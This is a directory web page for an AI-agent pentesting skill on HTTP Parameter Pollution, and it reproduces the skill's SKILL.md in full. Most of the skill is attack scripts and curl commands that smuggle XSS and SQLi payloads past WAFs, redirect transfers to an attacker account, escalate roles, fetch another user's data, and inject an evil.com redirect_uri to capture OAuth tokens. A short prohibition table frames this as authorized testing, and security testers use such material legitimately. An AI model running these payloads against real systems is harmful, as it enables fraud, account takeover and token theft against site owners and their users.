Skip to content
Back to skills

Khaos Chain Http Parameter Pollution

ASecurity

HTTP Parameter Pollution chain — duplicate parameter confusion between WAF and backend, auth bypass via HPP, server-side HPP for data manipulation, URL parser discrepancies

  • 6 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added December 5, 2026
ai-agentspythongojavaphpbashsqlexpressdjangoflaskspring

Works with

  • cli
  • api

Security analysis

A100/100

Pro scans all 2 files and shows the line behind each finding

Scanned December 5, 2026

npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-chain-http-parameter-pollution --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Khaos Chain Http Parameter Pollution?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Khaos Chain Http Parameter Pollution
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/henriqqw-khaos-chain-http-parameter-pollution-khaos-pentester-agent/badge)](https://www.skillsdirectory.com/skills/henriqqw-khaos-chain-http-parameter-pollution-khaos-pentester-agent)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: khaos-chain-http-parameter-pollution
description: HTTP Parameter Pollution chain — duplicate parameter confusion between WAF and backend, auth bypass via HPP, server-side HPP for data manipulation, URL parser discrepancies
metadata:
  khaos:
    stages: [recon, exploitation, validation]
    tool_ids: [httpx, nuclei-dast]
---

# HTTP Parameter Pollution Chain

HTTP Parameter Pollution (HPP) exploits the inconsistency in how different components (WAF, reverse proxy, backend framework) process duplicate query/body parameters. When a WAF inspects the first value of a parameter but the backend uses the last (or vice versa), an attacker can sandwich a malicious value between clean ones — bypassing the WAF while delivering the payload to the backend.

## Phase 1: Determine backend parameter parsing behavior

```python
#!/usr/bin/env python3
"""
Identify how the backend handles duplicate parameters.
Different frameworks use different strategies:
- PHP: last value wins ($_GET['a'] = last 'a')
- ASP.NET: comma-concatenated ('val1,val2')
- Express.js: array (['val1','val2'])
- Flask/Django: first value or array depending on method
- Java Servlet: array (getParameterValues returns all)
- Spring MVC: first value
"""
import requests

TARGET = "https://TARGET"
AUTH   = "Authorization: Bearer TOKEN"

# Step 1: Send duplicate parameter with distinct markers:
r = requests.get(
    f"{TARGET}/api/profile",
    params=[("debug", "FIRST"), ("debug", "SECOND")],
    headers={"Authorization": "Bearer TOKEN"}
)

# Check response for which value was used:
if "FIRST" in r.text and "SECOND" not in r.text:
    print("Backend uses: FIRST value")
elif "SECOND" in r.text and "FIRST" not in r.text:
    print("Backend uses: LAST value")
elif "FIRST,SECOND" in r.text or "FIRST%2CSECOND" in r.text:
    print("Backend uses: COMMA-JOINED (ASP.NET)")
elif "FIRST" in r.text and "SECOND" in r.text:
    print("Backend uses: ARRAY (Express, Flask list)")
else:
    print("Cannot determine from response — check server behavior via error messages")
```

---

## Phase 2: WAF bypass via HPP sandwich

```bash
TARGET="https://TARGET"

# Pattern: WAF inspects the first value of a parameter (e.g., checks for XSS in 'q')
# Backend uses the last value → sandwich attack:

# Benign first value (passes WAF), malicious last value (executed by backend):
curl -sk "$TARGET/search?q=benign&q=<script>alert(1)</script>" \
  -H "Authorization: Bearer TOKEN"

# If response contains the script tag → WAF saw 'benign', backend used the last 'q'

# SQLi via HPP sandwich:
curl -sk "$TARGET/api/item?id=1&id=1%20OR%201=1--" \
  -H "Authorization: Bearer TOKEN"

# Body parameter HPP (POST):
curl -sk "$TARGET/api/transfer" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Authorization: Bearer TOKEN" \
  -d "to=legitimate_user&amount=100&to=attacker_account&amount=99999"
# If backend uses last 'to' → funds sent to attacker; WAF saw 'legitimate_user'
```

---

## Phase 3: HPP for access control bypass

```python
#!/usr/bin/env python3
"""
HPP access control bypass: some frameworks merge duplicate parameters.
If auth checks the first value but business logic uses the last:
- First: authorized value (user's own ID)
- Last: victim's ID → IDOR via HPP
"""
import requests

TARGET      = "https://TARGET"
OWN_ID      = "123"
VICTIM_ID   = "456"
TOKEN       = "USER_SESSION_TOKEN"
HEADERS     = {"Authorization": f"Bearer {TOKEN}"}

# Pattern: access check uses params[0], data fetch uses params[-1]
# Try HPP IDOR:
r = requests.get(
    f"{TARGET}/api/user/profile",
    params=[("userId", OWN_ID), ("userId", VICTIM_ID)],
    headers=HEADERS
)
if str(VICTIM_ID) in r.text and "403" not in str(r.status_code):
    print(f"[HPP IDOR] First={OWN_ID} Last={VICTIM_ID}: victim data returned")
    print(r.text[:300])

# Role escalation via HPP:
r = requests.post(
    f"{TARGET}/api/update-profile",
    data=[("role", "user"), ("role", "admin")],
    headers=HEADERS
)
print(f"Role HPP: {r.status_code} {r.text[:100]}")

# OAuth scope expansion via HPP:
r = requests.get(
    f"{TARGET}/oauth/authorize",
    params=[("scope", "read"), ("scope", "write admin")],
    headers=HEADERS
)
print(f"OAuth HPP scope: {r.status_code} {r.text[:100]}")
```

---

## Phase 4: Server-side HPP — backend-to-backend injection

```bash
TARGET="https://TARGET"
AUTH="Authorization: Bearer TOKEN"

# If the application constructs a URL to call a downstream API
# using user-supplied parameters, HPP can inject additional parameters
# into the downstream request.

# Example vulnerable code:
# downstream_url = f"https://payment-api/charge?user={user_id}&amount={amount}"
# If amount = "100&user=0" → downstream gets: ?user=REAL_USER&amount=100&user=0
# → downstream uses last 'user' (0 = free/admin) or processes both

# Test: does the app pass your parameter to a downstream service?
curl -sk "$TARGET/api/payment?amount=100%26user%3d0" \
  -H "$AUTH"
# URL-decoded: amount=100&user=0 → injected into downstream URL

# Server-side HPP on web service calls (SOAP, REST aggregators):
curl -sk "$TARGET/api/proxy?url=https://internal-api/data%26admin=true" \
  -H "$AUTH"
```

---

## Phase 5: URL parser discrepancy HPP

```python
#!/usr/bin/env python3
"""
Different URL parsers disagree on duplicate fragments, encoded delimiters,
and semicolon-separated parameters. Exploit parser discrepancy between
WAF (which URL-decodes before inspection) and backend (which URL-decodes after routing).
"""
import requests

TARGET = "https://TARGET"
TOKEN  = "USER_SESSION_TOKEN"

# Semicolon as parameter separator (PHP legacy, JSP):
# /api/item;id=PAYLOAD → some parsers treat ; as & separator
test_cases = [
    # Semicolon separator (JSP/PHP legacy):
    f"{TARGET}/api/item;id=1%20OR%201=1",
    # Hash fragment in path (Nginx vs application):
    f"{TARGET}/api/item?id=1%23&id=PAYLOAD",
    # Encoded ampersand confusion:
    f"{TARGET}/api/item?id=1%26role%3dadmin",
    # Array notation:
    f"{TARGET}/api/item?id[]=1&id[]=PAYLOAD",
    # Dot notation (PHP array):
    f"{TARGET}/api/item?id.0=1&id.1=PAYLOAD",
]

for url in test_cases:
    r = requests.get(url, headers={"Authorization": f"Bearer {TOKEN}"})
    print(f"{r.status_code} {url.split('?')[1][:50]}: {r.text[:80]}")
```

---

## Phase 6: HPP in OAuth and SAML flows

```bash
TARGET="https://TARGET"
CLIENT_ID="CLIENT_ID"

# OAuth HPP: inject additional redirect_uri or scope parameters:
# Some OAuth servers use the first redirect_uri, some use the last.

# Attack: add an attacker redirect_uri as a second parameter:
AUTH_URL="$TARGET/oauth/authorize?response_type=code&client_id=$CLIENT_ID"
AUTH_URL="$AUTH_URL&redirect_uri=https://TARGET/callback"
AUTH_URL="$AUTH_URL&redirect_uri=https://evil.com/capture"
# If server uses last redirect_uri → token sent to evil.com

curl -sk -I "$AUTH_URL" | grep -i "location"

# State parameter HPP (CSRF bypass attempt):
AUTH_URL_STATE="$TARGET/oauth/authorize?response_type=code&client_id=$CLIENT_ID"
AUTH_URL_STATE="$AUTH_URL_STATE&state=legit_csrf_token"
AUTH_URL_STATE="$AUTH_URL_STATE&state=attacker_state"
curl -sk -I "$AUTH_URL_STATE" | grep -i "location\|state"
```

---

## ⛔ Prohibition table

| Prohibited | Alternative |
|---|---|
| HPP fund transfer that moves real money between accounts | Use a test account with a nominal balance; demonstrate parameter injection changes the recipient |
| WAF bypass that delivers a working XSS or SQLi payload in production | Use a benign marker payload (non-executable) to confirm HPP bypass; note real payload would execute |
| Server-side HPP that injects parameters into downstream APIs handling real transactions | Test on a sandbox/staging API; confirm parameter injection in a non-consequential operation |
| OAuth HPP redirect_uri injection against a live authorization flow | Confirm the server accepts the extra redirect_uri in a test OAuth app you control |

## ✓ Completion self-check

- [ ] Backend parameter parsing behavior identified: first / last / array / comma-joined
- [ ] HPP WAF bypass confirmed: malicious last value reaches backend while WAF saw benign first value
- [ ] HPP IDOR or access control bypass tested: privileged action triggered via duplicated parameter
- [ ] Server-side HPP tested: downstream API receives injected parameter
- [ ] URL parser discrepancy tested: semicolon, encoded ampersand, array notation variants
- [ ] OAuth HPP tested: duplicate redirect_uri or scope parameter behavior documented
- [ ] Finding: CWE-235 (Improper Handling of Extra Parameters) — MEDIUM/HIGH

Files in this skill

  • SKILL.md8.4 KB
  • scripts/hpp_probe.py2.3 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.